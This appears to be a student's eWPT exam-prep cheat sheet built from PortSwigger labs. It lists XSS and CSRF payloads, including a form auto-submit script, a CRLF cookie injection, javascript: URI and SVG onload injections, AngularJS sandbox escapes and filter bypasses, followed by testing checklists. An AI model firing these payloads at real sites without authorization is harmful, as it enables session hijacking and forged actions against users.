This note created with 3 day preparation for eWPT & 100% base on portswigger lab.

General Note :

  • According the the eLearnSecurity eWPT forums, mods have said that you need to have every single vulnerability that is present in scope documented in your report in order to pass.
  • When you begin the eWPT exam, you are given a letter that tells you the scope, rules of engagement, and explicitly spells out this “most severe part” that is necessary for passing the exam.

Payload :

  • Auto submit — CSRF :
<script>document.forms[0].submit();</script>
  • Adding Cookie on vuln param — CSRF :
<img src="https://assets/?param=eneriiiiiiiiiii%0d%0aSet-Cookie:%20csrfKey=dTh9cPDHRGETeDxLixbxyhgzuQFEiuEG%3b%20SameSite=None" onerror="document.forms[0].submit()">
  • Leverage Open Redirect to XSS
javascript:alert('ener1')
  • When your “<” & “>” get blacklisted, use this :
'-alert('eneriiiiiiiiiiiiiiiiiiiiiiiiiiii')-'
  • You can break img using quote or svg & adding onload/onmouseover or else :
"><svg onload=alert('eneriiiiiiiiiiiiiiiii')>
  • You can close select using this payload
eneriiiiiiiiiiiiii"> </select> Inject_payload
  • Simple Angular JS Payload :
{{$on.constructor('alert("eneriiiiiiiiiiiiii")')()}}
{{$eval.constructor('alert("eneriiiiiiiiiiiiiiiiiii")')()}}
  • Bypass angle bracket restriction ( “<” & “>”) using <>
<><img src=y0 onerror=alert('eneriiiiiiiiiiiiiiiiii')>

XSS :

  • Always read .js file, that could be protection/restrictor for XSS.
  • Always check hidden param, on data or else.
  • Spray tags & event to check blacklist/whitelisted spesific tag/word on Web App.
  • Always check “HttpOnly” on header.

CSRF :

  • Test HTTP method (GET/POST) to check CSRF Protection.
  • Try to remove CSRF Token.
  • Try CSRF Token to another account. ( These 2 account should be logon & don’t intercept Victim CSRF Token(Drop req))
  • Use another account CSRF cookie & CSRF Token
